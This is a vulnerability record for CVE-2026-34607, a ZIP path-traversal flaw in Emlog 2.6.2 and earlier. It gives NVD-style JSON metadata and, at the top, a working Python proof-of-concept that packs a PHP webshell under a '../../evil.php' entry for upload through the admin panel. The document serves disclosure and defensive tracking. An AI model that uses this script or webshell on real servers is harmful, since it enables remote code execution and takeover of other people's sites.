CVE-2026-34607

import zipfile # Create a malicious ZIP file containing a PHP webshell # The filename uses '../' to traverse out of the extraction directory malicious_filename = "../../evil.php" webshell_content = "<?php system($_GET['cmd']); ?>" with zipfile.ZipFile('exploit.zip', 'w') as zf: # Write the webshell content with the traversal path zf.writestr(malicious_filename, webshell_content) print("Malicious ZIP file 'exploit.zip' created successfully.") print("Upload this file as a plugin or template backup in the Emlog admin panel.")

{"cve": {"id": "CVE-2026-34607", "sourceIdentifier": "[email protected]", "published": "2026-04-03T23:17:04.423", "lastModified": "2026-04-13T17:37:26.993", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Emlog is an open source website building system. In versions 2.6.2 and prior, a path traversal vulnerability exists in the emUnZip() function (include/lib/common.php:793). When extracting ZIP archives (plugin/template uploads, backup imports), the function calls $zip->extractTo($path) without sanitizing ZIP entry names. An authenticated admin can upload a crafted ZIP containing entries with ../ sequences to write arbitrary files to the server filesystem, including PHP webshells, achieving Remote Code Execution (RCE). At time of publication, there are no publicly available patches."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:emlog:emlog:*:*:*:*:pro:*:*:*", "versionEndIncluding": "2.6.2", "matchCriteriaId": "87AE63DC-4F2B-44E3-8865-B6166722A5D6"}]}]}], "references": [{"url": "https://github.com/emlog/emlog/security/advisories/GHSA-2jg8-rmhm-xv9m", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/emlog/emlog/security/advisories/GHSA-2jg8-rmhm-xv9m", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}